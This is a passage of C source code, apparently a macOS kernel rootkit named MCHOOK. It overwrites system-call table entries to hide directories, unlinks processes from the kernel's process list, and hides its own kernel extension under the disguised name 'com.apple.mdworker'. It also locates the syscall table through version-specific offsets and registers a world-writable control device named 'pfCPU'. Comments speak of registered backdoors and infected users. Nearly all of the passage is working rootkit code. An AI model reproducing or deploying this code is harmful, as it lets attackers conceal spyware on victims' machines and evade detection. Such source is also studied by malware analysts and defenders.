ATTR_VOL_IOBLOCKSIZE) 933 | printf("ATTR_VOL_IOBLOCKSIZE\n"); 934 | if (al.volattr & ATTR_VOL_OBJCOUNT) 935 | printf("ATTR_VOL_OBJCOUNT\n"); 936 | if (al.volattr & ATTR_VOL_FILECOUNT) 937 | printf("ATTR_VOL_FILECOUNT\n"); 938 | if (al.volattr & ATTR_VOL_DIRCOUNT) 939 | printf("ATTR_VOL_DIRCOUNT\n"); 940 | if (al.volattr & ATTR_VOL_MAXOBJCOUNT) 941 | printf("ATTR_VOL_MAXOBJCOUNT\n"); 942 | if (al.volattr & ATTR_VOL_MOUNTPOINT) 943 | printf("ATTR_VOL_MOUNTPOINT\n"); 944 | if (al.volattr & ATTR_VOL_NAME) 945 | printf("ATTR_VOL_NAME\n"); 946 | if (al.volattr & ATTR_VOL_MOUNTFLAGS) 947 | printf("ATTR_VOL_MOUNTFLAGS\n"); 948 | if (al.volattr & ATTR_VOL_MOUNTEDDEVICE) 949 | printf("ATTR_VOL_MOUNTEDDEVICE\n"); 950 | if (al.volattr & ATTR_VOL_ENCODINGSUSED) 951 | printf("ATTR_VOL_ENCODINGSUSED\n"); 952 | if (al.volattr & ATTR_VOL_CAPABILITIES) 953 | printf("ATTR_VOL_CAPABILITIES\n"); 954 | if (al.volattr & ATTR_VOL_ATTRIBUTES) 955 | printf("ATTR_VOL_ATTRIBUTES\n"); 956 | if (al.volattr & ATTR_VOL_INFO) 957 | printf("ATTR_VOL_INFO\n"); 958 | if (al.volattr & ATTR_VOL_VALIDMASK) 959 | printf("ATTR_VOL_VALIDMASK\n"); 960 | if (al.volattr & ATTR_VOL_SETMASK) 961 | printf("ATTR_VOL_SETMASK\n"); 962 | 963 | // dirattr checks 964 | if (al.dirattr & ATTR_DIR_ENTRYCOUNT) 965 | printf("ATTR_DIR_ENTRYCOUNT\n"); 966 | if (al.dirattr & ATTR_DIR_LINKCOUNT) 967 | printf("ATTR_DIR_LINKCOUNT\n"); 968 | } 969 | #endif 970 | 971 | int check_for_process_exclusions(pid_t pid) 972 | { 973 | char procname[20]; 974 | int i = 0; 975 | 976 | proc_name(pid, procname, sizeof(procname)); 977 | 978 | for (i = 0; i < g_process_excluded; i ++) { 979 | if (strncmp(procname, g_exclusion_list[i].processname, MAX_USER_SIZE) == 0 980 | && g_exclusion_list[i].is_active == 1) { 981 | #ifdef DEBUG 982 | printf("[MCHOOK] Exclusion matched for %s\n", procname); 983 | #endif 984 | return 1; 985 | } 986 | } 987 | 988 | return -1; 989 | } 990 | 991 | void place_hooks() 992 | { 993 | if (fl_getdire64 == 0) { 994 | real_getdirentries64 = (getdirentries64_func_t *)_sysent[SYS_getdirentries64].sy_call; 995 | _sysent[SYS_getdirentries64].sy_call = (sy_call_t *)hook_getdirentries64; 996 | fl_getdire64 = 1; 997 | } 998 | 999 | if (fl_getdire == 0) { 1000 | real_getdirentries = (getdirentries_func_t *)_sysent[SYS_getdirentries].sy_call; 1001 | _sysent[SYS_getdirentries].sy_call = (sy_call_t *)hook_getdirentries; 1002 | fl_getdire = 1; 1003 | } 1004 | 1005 | if (fl_getdirentriesattr == 0) { 1006 | real_getdirentriesattr = (getdirentriesattr_func_t *)_sysent[SYS_getdirentriesattr].sy_call; 1007 | _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *)hook_getdirentriesattr; 1008 | fl_getdirentriesattr = 1; 1009 | } 1010 | 1011 | #ifdef DEBUG 1012 | printf("[MCHOOK] Hooks in place\n"); 1013 | #endif 1014 | } 1015 | 1016 | void remove_hooks() 1017 | { 1018 | if (fl_getdire64) { 1019 | _sysent[SYS_getdirentries64].sy_call = (sy_call_t *)real_getdirentries64; 1020 | fl_getdire64 = 0; 1021 | } 1022 | 1023 | if (fl_getdire) { 1024 | _sysent[SYS_getdirentries].sy_call = (sy_call_t *)real_getdirentries; 1025 | fl_getdire = 0; 1026 | } 1027 | 1028 | if (fl_getdirentriesattr) { 1029 | _sysent[SYS_getdirentriesattr].sy_call = (sy_call_t *)real_getdirentriesattr; 1030 | fl_getdirentriesattr = 0; 1031 | } 1032 | } 1033 | 1034 | void add_dir_to_hide(char *dirname, pid_t pid) 1035 | { 1036 | int i = 0; 1037 | int z = 0; 1038 | 1039 | #ifdef DEBUG 1040 | printf("[MCHOOK] Hiding (%s) for pid (%d)\n", dirname, pid); 1041 | #endif 1042 | 1043 | for (i = 0; i < g_registered_backdoors; i++) { 1044 | if (g_reg_backdoors[i]->p->p_pid == pid 1045 | && g_reg_backdoors[i]->is_active == 1) { 1046 | for (z = 0; z < g_reg_backdoors[i]->path_counter; z ++) { 1047 | if (strncmp(dirname, g_reg_backdoors[i]->path[z], MAX_DIRNAME_SIZE) == 0) { 1048 | #ifdef DEBUG 1049 | printf("[MCHOOK] Path already registered (%s)!\n", dirname); 1050 | #endif 1051 | 1052 | return; 1053 | } 1054 | } 1055 | 1056 | int pcounter = g_reg_backdoors[i]->path_counter; 1057 | if (g_reg_backdoors[i]->path_counter < MAX_PATH_ENTRIES) { 1058 | strncpy((char *)g_reg_backdoors[i]->path[pcounter], 1059 | dirname, 1060 | MAX_DIRNAME_SIZE); 1061 | 1062 | #ifdef DEBUG 1063 | printf("[MCHOOK] DIR Hidden: %s\n", g_reg_backdoors[i]->path[pcounter]); 1064 | #endif 1065 | g_reg_backdoors[i]->path_counter++; 1066 | #ifdef DEBUG 1067 | printf("[MCHOOK] backdoorCounter: %d\n", g_registered_backdoors); 1068 | printf("[MCHOOK] backdoor pathCounter: %d\n", 1069 | g_reg_backdoors[i]->path_counter); 1070 | #endif 1071 | } 1072 | } 1073 | } 1074 | } 1075 | 1076 | Boolean 1077 | backdoor_init(char *username, proc_t p) 1078 | { 1079 | int _index = 0; 1080 | int i = 0; 1081 | int bd_index = -1; 1082 | Boolean result = FALSE; 1083 | 1084 | if (g_registered_backdoors > 0) { 1085 | // Let's see if the backdoor is already registered 1086 | bd_index = get_bd_index(username, p->p_pid); 1087 | } 1088 | else { 1089 | #ifdef DEBUG 1090 | printf("[MCHOOK] First backdoor, hooking\n"); 1091 | #endif 1092 | } 1093 | 1094 | switch (bd_index) { 1095 | case -2: 1096 | #ifdef DEBUG 1097 | printf("[MCHOOK] Already registered (same pid and is active) on init\n"); 1098 | #endif 1099 | break; 1100 | case -1: { 1101 | #ifdef DEBUG 1102 | printf("[MCHOOK] Backdoor not found on init\n"); 1103 | #endif 1104 | MALLOC(g_reg_backdoors[g_registered_backdoors], 1105 | reg_backdoors_t *, 1106 | sizeof(reg_backdoors_t), 1107 | MK_MBUF, 1108 | M_WAITOK); 1109 | 1110 | _index = g_registered_backdoors; 1111 | g_registered_backdoors++; 1112 | result = TRUE; 1113 | } break; 1114 | default: { 1115 | #ifdef DEBUG 1116 | printf("[MCHOOK] Already registered user (dead bd) %d\n", bd_index); 1117 | #endif 1118 | 1119 | int numPath = g_reg_backdoors[bd_index]->path_counter; 1120 | g_reg_backdoors[bd_index]->path_counter = 0; 1121 | 1122 | // Backdoor is already registered 1123 | for (i = 0; i < numPath; i++) { 1124 | memset(g_reg_backdoors[bd_index]->path[i], '\0', MAX_DIRNAME_SIZE); 1125 | } 1126 | 1127 | _index = bd_index; 1128 | result = TRUE; 1129 | } break; 1130 | } 1131 | 1132 | // Initialize the structure entry 1133 | //g_reg_backdoors[_index]->path_counter = 0; 1134 | 1135 | g_reg_backdoors[_index]->p = p; 1136 | /*g_reg_backdoors[_index]->pid = p->p_pid;*/ 1137 | g_reg_backdoors[_index]->is_active = 1; 1138 | g_reg_backdoors[_index]->is_hidden = 0; 1139 | g_reg_backdoors[_index]->is_task_hidden = 0; 1140 | g_reg_backdoors[_index]->is_proc_hidden = 0; 1141 | 1142 | strncpy(g_reg_backdoors[_index]->username, username, MAX_USER_SIZE); 1143 | 1144 | #ifdef DEBUG 1145 | printf("[MCHOOK] index (%d)\n", _index); 1146 | printf("[MCHOOK] user (%s)\n", g_reg_backdoors[_index]->username); 1147 | #endif 1148 | 1149 | return result; 1150 | } 1151 | 1152 | int remove_dev_entry() 1153 | { 1154 | // Remove our device entry from /dev 1155 | devfs_remove(devfs_handle); 1156 | cdevsw_remove(major, &chardev); 1157 | 1158 | return 0; 1159 | } 1160 | 1161 | void dealloc_meh(char *username, pid_t pid) 1162 | { 1163 | int bd_index = -1; 1164 | 1165 | bd_index = get_active_bd_index(username, pid); 1166 | if (bd_index != -1) { 1167 | FREE(g_reg_backdoors[bd_index], MK_MBUF); 1168 | /*g_reg_backdoors[z]->is_active = 0;*/ 1169 | /*g_reg_backdoors[z]->is_hidden = 0;*/ 1170 | /*g_reg_backdoors[z]->is_task_hidden = 0;*/ 1171 | /*g_reg_backdoors[z]->is_proc_hidden = 0;*/ 1172 | 1173 | if (g_registered_backdoors > 0) 1174 | g_registered_backdoors--; 1175 | } 1176 | } 1177 | 1178 | // 1179 | // Get the backdoor index among the active ones 1180 | // 1181 | int 1182 | get_active_bd_index(char *username, pid_t pid) 1183 | { 1184 | int i = 0; 1185 | 1186 | for (i = 0; i < g_registered_backdoors; i++) { 1187 | if ((strncmp(username, g_reg_backdoors[i]->username, MAX_USER_SIZE) == 0) 1188 | && g_reg_backdoors[i]->p->p_pid == pid 1189 | && g_reg_backdoors[i]->is_active == 1) { 1190 | return i; 1191 | } 1192 | } 1193 | 1194 | return -1; 1195 | } 1196 | 1197 | // 1198 | // Get the backdoor index even if not active (but present in the array) 1199 | // 1200 | int 1201 | get_bd_index(char *username, pid_t pid) 1202 | { 1203 | int i = 0; 1204 | int index = -1; 1205 | 1206 | for (; i < g_registered_backdoors; i++) { 1207 | if (strncmp(g_reg_backdoors[i]->username, username, MAX_USER_SIZE) == 0) { 1208 | #ifdef DEBUG 1209 | printf("[MCHOOK] User already infected, checking if active\n"); 1210 | #endif 1211 | if (g_reg_backdoors[i]->p->p_pid == pid 1212 | && g_reg_backdoors[i]->is_active == 1) { 1213 | #ifdef DEBUG 1214 | printf("[MCHOOK] Backdoor already registered and active\n"); 1215 | #endif 1216 | index = -2; 1217 | break; 1218 | } 1219 | else { 1220 | #ifdef DEBUG 1221 | printf("[MCHOOK] Backdoor already registered but not active\n"); 1222 | #endif 1223 | index = i; 1224 | break; 1225 | } 1226 | } 1227 | } 1228 | 1229 | return index; 1230 | } 1231 | 1232 | int check_symbols_integrity() 1233 | { 1234 | g_symbols_resolved = 0; 1235 | 1236 | if (i_allproc != NULL 1237 | && i_tasks != NULL 1238 | && i_nsysent != NULL 1239 | && i_kmod != NULL 1240 | && i_tasks_count != NULL 1241 | && i_nprocs != NULL 1242 | && i_tasks_threads_lock != NULL 1243 | && i_proc_lock != NULL 1244 | && i_proc_unlock != NULL 1245 | && i_proc_list_lock != NULL 1246 | && i_proc_list_unlock != NULL) { 1247 | g_symbols_resolved = 1; 1248 | } 1249 | 1250 | return g_symbols_resolved; 1251 | } 1252 | 1253 | int is_leopard() 1254 | { 1255 | if (g_os_major == 10 1256 | && g_os_minor == 5) 1257 | return 1; 1258 | 1259 | return 0; 1260 | } 1261 | 1262 | int is_snow_leopard() 1263 | { 1264 | if (g_os_major == 10 1265 | && g_os_minor == 6) 1266 | return 1; 1267 | 1268 | return 0; 1269 | } 1270 | 1271 | int is_lion() 1272 | { 1273 | if (g_os_major == 10 1274 | && g_os_minor == 7) 1275 | return 1; 1276 | 1277 | return 0; 1278 | } 1279 | 1280 | #pragma mark - 1281 | #pragma mark DKOM 1282 | #pragma mark - 1283 | 1284 | int hide_proc_l(proc_t p, char *username, int bd_index) 1285 | { 1286 | proc_t proc = NULL; 1287 | 1288 | #ifdef DEBUG 1289 | printf("[MCHOOK] Hiding Lion proc: %d\n", p->p_pid); 1290 | #endif 1291 | 1292 | i_proc_list_lock(); 1293 | 1294 | // 1295 | // Unlinking proc 1296 | // 1297 | LIST_FOREACH(proc, i_allproc, p_list) { 1298 | if (proc->p_pid == p->p_pid) { 1299 | #ifdef DEBUG 1300 | printf("[MCHOOK] pid %d found\n", p->p_pid); 1301 | #endif 1302 | 1303 | i_proc_lock(proc); 1304 | 1305 | LIST_REMOVE(proc, p_list); 1306 | LIST_REMOVE(proc, p_hash); 1307 | 1308 | i_proc_unlock(proc); 1309 | //(*i_nprocs)--; 1310 | 1311 | #ifdef DEBUG 1312 | printf("[MCHOOK] Procs count: %d\n", *i_nprocs); 1313 | #endif 1314 | 1315 | g_reg_backdoors[bd_index]->is_proc_hidden = 1; 1316 | break; 1317 | } 1318 | } 1319 | 1320 | i_proc_list_unlock(); 1321 | 1322 | if (g_reg_backdoors[bd_index]->is_task_hidden == 1 1323 | || g_reg_backdoors[bd_index]->is_proc_hidden == 1) { 1324 | #ifdef DEBUG 1325 | printf("[MCHOOK] Task hidden: %d\n", g_reg_backdoors[bd_index]->is_task_hidden); 1326 | printf("[MCHOOK] Proc hidden: %d\n", g_reg_backdoors[bd_index]->is_proc_hidden); 1327 | #endif 1328 | g_reg_backdoors[bd_index]->is_hidden = 1; 1329 | } 1330 | 1331 | return 0; 1332 | } 1333 | 1334 | int hide_proc(proc_t p, char *username, int backdoor_index) 1335 | { 1336 | proc_t proc = NULL; 1337 | //int _index = 0; 1338 | 1339 | #ifdef DEBUG 1340 | printf("[MCHOOK] Hiding proc: %d\n", p->p_pid); 1341 | #endif 1342 | #if 0 1343 | // 1344 | // g_backdoor_current is not safe for 2 or more backdoors on the same machine 1345 | // in which case we'll be calling get_active_bd_index 1346 | // 1347 | if (g_backdoor_current != -1) { 1348 | if (g_reg_backdoors[g_backdoor_current]->isHidden == 1) { 1349 | #ifdef DEBUG 1350 | printf("[MCHOOK] %d is already hidden\n", p->p_pid); 1351 | #endif 1352 | 1353 | return 0; 1354 | } 1355 | } 1356 | else { 1357 | if ((_index = get_active_bd_index(p, username)) != -1) { 1358 | g_backdoor_current = _index; 1359 | } 1360 | else { 1361 | #ifdef DEBUG 1362 | printf("[MCHOOK] hide_proc failed - backdoor not registered?!!\n"); 1363 | #endif 1364 | 1365 | return -1; 1366 | } 1367 | } 1368 | #endif 1369 | #ifdef DEBUG 1370 | printf("[MCHOOK] Be-hiding tasks count: %d\n", *i_tasks_count); 1371 | #endif 1372 | /* 1373 | if (g_os_major == 10 && g_os_minor == 5) { 1374 | task_l_t task = p->task; 1375 | 1376 | // 1377 | // Unlinking task 1378 | // 1379 | lck_mtx_lock(i_tasks_threads_lock); 1380 | queue_remove(i_tasks, task, task_l_t, tasks); 1381 | (*i_tasks_count)--; 1382 | lck_mtx_unlock(i_tasks_threads_lock); 1383 | 1384 | g_reg_backdoors[backdoor_index]->isTaskHidden = 1; 1385 | } 1386 | else if (g_os_major == 10 && g_os_minor == 6) { 1387 | task_t task = p->task; 1388 | 1389 | // 1390 | // Unlinking task 1391 | // 1392 | lck_mtx_lock(i_tasks_threads_lock); 1393 | queue_remove(i_tasks, task, task_t, tasks); 1394 | (*i_tasks_count)--; 1395 | lck_mtx_unlock(i_tasks_threads_lock); 1396 | 1397 | g_reg_backdoors[backdoor_index]->isTaskHidden = 1; 1398 | } 1399 | */ 1400 | #ifdef DEBUG 1401 | printf("[MCHOOK] Af-hiding tasks count: %d\n", *i_tasks_count); 1402 | #endif 1403 | 1404 | i_proc_list_lock(); 1405 | 1406 | // 1407 | // Unlinking proc 1408 | // 1409 | LIST_FOREACH(proc, i_allproc, p_list) { 1410 | if (proc->p_pid == p->p_pid) { 1411 | #ifdef DEBUG 1412 | printf("[MCHOOK] pid %d found\n", p->p_pid); 1413 | #endif 1414 | 1415 | i_proc_lock(proc); 1416 | 1417 | LIST_REMOVE(proc, p_list); 1418 | LIST_REMOVE(proc, p_hash); 1419 | 1420 | i_proc_unlock(proc); 1421 | //(*i_nprocs)--; 1422 | 1423 | #ifdef DEBUG 1424 | printf("[MCHOOK] Procs count: %d\n", *i_nprocs); 1425 | #endif 1426 | 1427 | g_reg_backdoors[backdoor_index]->is_proc_hidden = 1; 1428 | break; 1429 | } 1430 | 1431 | //i_proc_unlock(proc); 1432 | } 1433 | 1434 | i_proc_list_unlock(); 1435 | 1436 | if (g_reg_backdoors[backdoor_index]->is_task_hidden == 1 1437 | || g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) { 1438 | #ifdef DEBUG 1439 | printf("[MCHOOK] Task hidden: %d\n", g_reg_backdoors[backdoor_index]->is_task_hidden); 1440 | printf("[MCHOOK] Proc hidden: %d\n", g_reg_backdoors[backdoor_index]->is_proc_hidden); 1441 | #endif 1442 | g_reg_backdoors[backdoor_index]->is_hidden = 1; 1443 | } 1444 | 1445 | return 0; 1446 | } 1447 | 1448 | int unhide_proc(proc_t p, int backdoor_index) 1449 | { 1450 | #ifdef DEBUG 1451 | printf("[MCHOOK] Unhiding %d\n", p->p_pid); 1452 | #endif 1453 | /* 1454 | if (g_reg_backdoors[backdoor_index]->isTaskHidden == 1) { 1455 | if (g_os_major == 10 && g_os_minor == 5) { 1456 | task_l_t task = p->task; 1457 | 1458 | // 1459 | // Link back our task entry 1460 | // 1461 | lck_mtx_lock(i_tasks_threads_lock); 1462 | queue_enter(i_tasks, task, task_l_t, tasks); 1463 | (*i_tasks_count)++; 1464 | lck_mtx_unlock(i_tasks_threads_lock); 1465 | 1466 | g_reg_backdoors[backdoor_index]->isTaskHidden = 0; 1467 | } 1468 | else if (g_os_major == 10 && g_os_minor == 6) { 1469 | task_t task = p->task; 1470 | 1471 | // 1472 | // Link back our task entry 1473 | // 1474 | lck_mtx_lock(i_tasks_threads_lock); 1475 | queue_enter(i_tasks, task, task_t, tasks); 1476 | (*i_tasks_count)++; 1477 | lck_mtx_unlock(i_tasks_threads_lock); 1478 | 1479 | g_reg_backdoors[backdoor_index]->isTaskHidden = 0; 1480 | } 1481 | } 1482 | else { 1483 | #ifdef DEBUG 1484 | printf("[MCHOOK] Skipping task unhide, not hidden\n"); 1485 | #endif 1486 | } 1487 | */ 1488 | // 1489 | // Link back our proc entry 1490 | // 1491 | if (g_reg_backdoors[backdoor_index]->is_proc_hidden == 1) { 1492 | i_proc_list_lock(); 1493 | LIST_INSERT_HEAD(i_allproc, p, p_list); 1494 | //(*i_nprocs)++; 1495 | i_proc_list_unlock(); 1496 | 1497 | g_reg_backdoors[backdoor_index]->is_proc_hidden = 0; 1498 | } 1499 | else { 1500 | #ifdef DEBUG 1501 | printf("[MCHOOK] Skipping proc unhide, not hidden\n"); 1502 | #endif 1503 | } 1504 | 1505 | g_reg_backdoors[backdoor_index]->is_hidden = 0; 1506 | 1507 | #ifdef DEBUG 1508 | printf("[MCHOOK] Procs count: %d\n", *i_nprocs); 1509 | #endif 1510 | 1511 | return 0; 1512 | } 1513 | 1514 | int unhide_all_procs() 1515 | { 1516 | #ifdef DEBUG 1517 | printf("[MCHOOK] Unhiding all procs\n"); 1518 | #endif 1519 | 1520 | int i = 0; 1521 | 1522 | for (i = 0; i < g_registered_backdoors; i++) { 1523 | if (g_reg_backdoors[i]->is_active == 1 1524 | && g_reg_backdoors[i]->is_hidden == 1) { 1525 | unhide_proc(g_reg_backdoors[i]->p, i); 1526 | } 1527 | } 1528 | 1529 | return 0; 1530 | } 1531 | 1532 | 1533 | // TODO: 1534 | // - replace ugly casts with a nice-looking struct 1535 | // - could be wise to acquire sKextLock 1536 | void hide_kext_osarray() 1537 | { 1538 | unsigned char *code = (unsigned char *)kext_lookup_with_tag; 1539 | 1540 | if (g_kext_hidden != 0) { 1541 | #ifdef DEBUG 1542 | printf("[MCHOOK] Kext already hidden\n"); 1543 | return; 1544 | #endif 1545 | } 1546 | #ifdef DEBUG 1547 | printf("[MCHOOK] Scanning for sLoadedKexts from %p\n", code); 1548 | #endif 1549 | 1550 | for (int i=0; i<0x50; i++) { 1551 | if (code[i] == 0xe8) { // \xe8 == CALL NEAR 1552 | // displacement, as well as sizeof(int), is 32bit on both x86 and x64 1553 | unsigned int *displacement = (unsigned int *)&code[i+1]; 1554 | 1555 | // sanity check, must point to a function prolog, \x55 is push [R|E]BP, 1556 | // CALL NEAR is 5 bytes on both x86 and x64 1557 | if (code[i+*displacement+5] == 0x55 ) { 1558 | unsigned char *instruction = &code[i+5]; // skip to next instruction 1559 | 1560 | #ifdef __LP64__ 1561 | // 0x48 is 64bit prefix 1562 | // 0xx8b is RIP relative MOV opcode 1563 | // 5 is size of call instruction 1564 | // 7 size of MOV 1565 | // 3 is offset of to displacement from MOV opcode 1566 | 1567 | if (*(unsigned short *)instruction == 0x8b48) { 1568 | unsigned int _sLoadedKextDisplacement = *(unsigned int *)(instruction+3); 1569 | _sLoadedKext = (char *)*(unsigned long *)((code + i + 5 + 7) + _sLoadedKextDisplacement); 1570 | break; 1571 | } 1572 | #else 1573 | // on x86 we cannot rely on the single opcode 'cuz it's register-specific, 1574 | // we could check for all the possible opcodes or just don't care 1575 | _sLoadedKext = (unsigned char *)**(unsigned long **)(instruction+1); 1576 | #ifdef DEBUG 1577 | printf("[MCHOOK] _sLoadedKext @ %08x\n", (unsigned int)_sLoadedKext); 1578 | #endif 1579 | break; 1580 | #endif 1581 | } 1582 | } 1583 | } 1584 | if (_sLoadedKext == NULL) { 1585 | #ifdef DEBUG 1586 | printf("[MCHOOK] Cannot find _sLoadedKext!!!!!!\n"); 1587 | #endif 1588 | return; 1589 | } 1590 | 1591 | unsigned int *kextsCount = (unsigned int *)&_sLoadedKext[OFFT_KEXT_COUNT]; 1592 | #ifdef DEBUG 1593 | printf(" [MCHOOK] Found _sLoadedKext %lx, with %d loaded count\n", (unsigned long)_sLoadedKext, *kextsCount); 1594 | #endif 1595 | unsigned long *arrayPtr = (unsigned long *)*(unsigned long *)&_sLoadedKext[OFFT_KEXT_ARRAY]; 1596 | unsigned long *lastKext = (unsigned long *)arrayPtr[*kextsCount - 1]; 1597 | 1598 | unsigned char *kmod_info = (unsigned char *)(lastKext[OFFT_KEXT_KMOD]); 1599 | if (!strcmp((char *)&kmod_info[OFFT_KMOD_NAME], "com.apple.mdworker")) 1600 | { 1601 | // if we're still the last loaded kext, 1602 | // then yeah, it's *that* easy 1603 | #ifdef DEBUG 1604 | printf("[MCHOOK] mdworker is the last kext, decrementing OSArray counter\n"); 1605 | #endif 1606 | _sLoadedKext[OFFT_KEXT_COUNT]--; 1607 | g_kext_hidden = 1; 1608 | } 1609 | else 1610 | { 1611 | // we're no moar the last loaded kext, we must 1612 | // exchange a pointer then 1613 | #ifdef DEBUG 1614 | printf("[MCHOOK] Not last kext, exchaning pointers with: %s\n", (char *)&kmod_info[OFFT_KMOD_NAME]); 1615 | #endif 1616 | for (unsigned int i = 0; i<*kextsCount; i++) 1617 | { 1618 | lastKext = (unsigned long *)arrayPtr[i]; 1619 | kmod_info = (unsigned char *)(lastKext[OFFT_KEXT_KMOD]); 1620 | 1621 | if (!strcmp((char *)&kmod_info[OFFT_KMOD_NAME], "com.apple.mdworker")) 1622 | { 1623 | arrayPtr[i] = arrayPtr[*kextsCount -1]; 1624 | _sLoadedKext[OFFT_KEXT_COUNT]--; 1625 | 1626 | g_kext_hidden = 1; 1627 | break; 1628 | } 1629 | } 1630 | } 1631 | 1632 | return; 1633 | } 1634 | 1635 | 1636 | // this is not used anymoar 1637 | void hide_kext_leopard() 1638 | { 1639 | kmod_info_t *k, *prev_k; 1640 | //char kext_name[] = "com.revenge.kext.machooker"; 1641 | char kext_name[] = "com.apple.mdworker"; 1642 | 1643 | prev_k = i_kmod; 1644 | 1645 | if (g_kext_hidden == 0) { 1646 | for (k = i_kmod; k->next != NULL; k = k->next) { 1647 | if (strncmp(k->name, kext_name, sizeof(kext_name)) == 0) { 1648 | prev_k->next = prev_k->next->next; 1649 | g_kext_hidden = 1; 1650 | break; 1651 | } 1652 | 1653 | prev_k = k; 1654 | } 1655 | } 1656 | else { 1657 | #ifdef DEBUG 1658 | printf("[MCHOOK] KEXT is already hidden\n"); 1659 | #endif 1660 | } 1661 | } 1662 | 1663 | // 1664 | // Landon Fuller trick updated for SL support 1665 | // 1666 | static struct sysent 1667 | *find_sysent(os_version_t *os_ver) 1668 | { 1669 | unsigned int table_size; 1670 | struct sysent *table = NULL; 1671 | 1672 | table_size = sizeof(struct sysent) * (*i_nsysent); 1673 | if (is_leopard() == 1) { 1674 | #ifdef DEBUG 1675 | printf("[MCHOOK] find_sysent for leopard\n"); 1676 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); 1677 | #endif 1678 | table = (struct sysent *)(((char *)i_nsysent) + sizeof(int)); 1679 | #if __i386__ 1680 | // +28 bytes, so far still reliable 1681 | table = (struct sysent *)(((uint8_t *)table) + 28); 1682 | #endif 1683 | } 1684 | else if (is_snow_leopard() == 1) { 1685 | #ifdef DEBUG 1686 | printf("[MCHOOK] find_sysent for snow leopard\n"); 1687 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); 1688 | #endif 1689 | uint32_t x; 1690 | uint32_t size_of_block_to_search; 1691 | 1692 | x = 0; 1693 | size_of_block_to_search = 0x100; 1694 | 1695 | table = (struct sysent *)((char *)i_nsysent); 1696 | #if __i386__ 1697 | // 1698 | // -0x2850 bytes from nsysent 1699 | // http://packetstormsecurity.org/papers/attack/osx1061sysent.txt 1700 | // 1701 | table = (struct sysent *)((char *)table - 0x2850); 1702 | 1703 | // 1704 | // -0x60 bytes 10.6.4 1705 | // 1706 | table = (struct sysent *)((char *)table - size_of_block_to_search); 1707 | #ifdef DEBUG 1708 | printf("[MCHOOK] Entering heuristic\n"); 1709 | #endif 1710 | 1711 | char *ptr_to_table = (char *)table; 1712 | 1713 | for (x = 0; x <= size_of_block_to_search; x++) { 1714 | table = (struct sysent *)ptr_to_table++; 1715 | 1716 | // Sanity check 1717 | if (table[SYS_syscall].sy_narg == 0 && 1718 | table[SYS_exit].sy_narg == 1 && 1719 | table[SYS_fork].sy_narg == 0 && 1720 | table[SYS_read].sy_narg == 3 && 1721 | table[SYS_wait4].sy_narg == 4 && 1722 | table[SYS_ptrace].sy_narg == 4) { 1723 | #ifdef DEBUG 1724 | printf("[MCHOOK] heuristic matched sysent @%p, x = 0x%x\n", table, x); 1725 | #endif 1726 | 1727 | return table; 1728 | } 1729 | } 1730 | #endif 1731 | } 1732 | else if (is_lion() == 1) { 1733 | #ifdef DEBUG 1734 | printf("[MCHOOK] find_sysent for lion\n"); 1735 | printf("[MCHOOK] nsysent: %ld\n", (long int)*i_nsysent); 1736 | #endif 1737 | uint32_t x; 1738 | uint32_t size_of_block_to_search; 1739 | 1740 | x = 0; 1741 | size_of_block_to_search = 0x100; 1742 | 1743 | table = (struct sysent *)((char *)i_nsysent); 1744 | #if __x86_64__ 1745 | // 1746 | // -0x4498 bytes from nsysent 1747 | // rev 1748 | // 1749 | table = (struct sysent *)((char *)table - 0x4498); 1750 | #ifdef DEBUG 1751 | printf("[MCHOOK] table @ 0x%llx\n", (unsigned long long)table); 1752 | printf("[MCHOOK] nsysent @ 0x%p\n", i_nsysent); 1753 | #endif 1754 | #else 1755 | #ifdef DEBUG 1756 | printf("[MCHOOK] not ready for 32bit lion kernel\n"); 1757 | #endif 1758 | 1759 | return NULL; 1760 | #endif 1761 | 1762 | #ifdef DEBUG 1763 | printf("[MCHOOK] Entering heuristic\n"); 1764 | #endif 1765 | 1766 | char *ptr_to_table = (char *)table; 1767 | for (x = 0; x <= size_of_block_to_search; x++) { 1768 | table = (struct sysent *)ptr_to_table++; 1769 | 1770 | // Sanity check 1771 | if (table[SYS_syscall].sy_narg == 0 && 1772 | table[SYS_exit].sy_narg == 1 && 1773 | table[SYS_fork].sy_narg == 0 && 1774 | table[SYS_read].sy_narg == 3 && 1775 | table[SYS_wait4].sy_narg == 4 && 1776 | table[SYS_ptrace].sy_narg == 4) { 1777 | #ifdef DEBUG 1778 | printf("[MCHOOK] heuristic matched sysent @%p, x = 0x%x\n", table, x); 1779 | #endif 1780 | return table; 1781 | } 1782 | } 1783 | } 1784 | 1785 | if (table == NULL) 1786 | return NULL; 1787 | 1788 | #ifdef DEBUG 1789 | printf("[MCHOOK] sysent@%p\n", table); 1790 | #endif 1791 | 1792 | // Sanity check 1793 | if (table[SYS_syscall].sy_narg == 0 && 1794 | table[SYS_exit].sy_narg == 1 && 1795 | table[SYS_fork].sy_narg == 0 && 1796 | table[SYS_read].sy_narg == 3 && 1797 | table[SYS_wait4].sy_narg == 4 && 1798 | table[SYS_ptrace].sy_narg == 4) { 1799 | #ifdef DEBUG 1800 | printf("[MCHOOK] sysent sanity check succeeded\n"); 1801 | #endif 1802 | return table; 1803 | } 1804 | else { 1805 | #ifdef DEBUG 1806 | printf("[MCHOOK] sanity check failed\n"); 1807 | #endif 1808 | 1809 | return NULL; 1810 | } 1811 | } 1812 | 1813 | #pragma mark - 1814 | #pragma mark Start/Stop 1815 | #pragma mark - 1816 | 1817 | kern_return_t 1818 | mchook_start (kmod_info_t *ki, void *d) 1819 | { 1820 | #ifdef DEBUG 1821 | printf("[MCHOOK] Registering our device\n"); 1822 | printf("[MCHOOK] Size of NSUInteger: %ld\n", sizeof(NSUInteger)); 1823 | #endif 1824 | 1825 | // Register our device in /dev 1826 | major = cdevsw_add(major, &chardev); 1827 | if (major == -1) { 1828 | #ifdef DEBUG 1829 | printf("[MCHOOK] Error while registering the device node\n"); 1830 | #endif 1831 | return KERN_FAILURE; 1832 | } 1833 | 1834 | devfs_handle = devfs_make_node(makedev(major, 0), 1835 | DEVFS_CHAR, 1836 | UID_ROOT, 1837 | GID_WHEEL, 1838 | 0666, 1839 | "pfCPU"); 1840 | 1841 | if (!devfs_handle) { 1842 | #ifdef DEBUG 1843 | printf("[MCHOOK] Error while creating the device node\n"); 1844 | #endif 1845 | return KERN_FAILURE; 1846 | } 1847 | 1848 | return KERN_SUCCESS; 1849 | } 1850 | 1851 | kern_return_t 1852 | mchook_stop 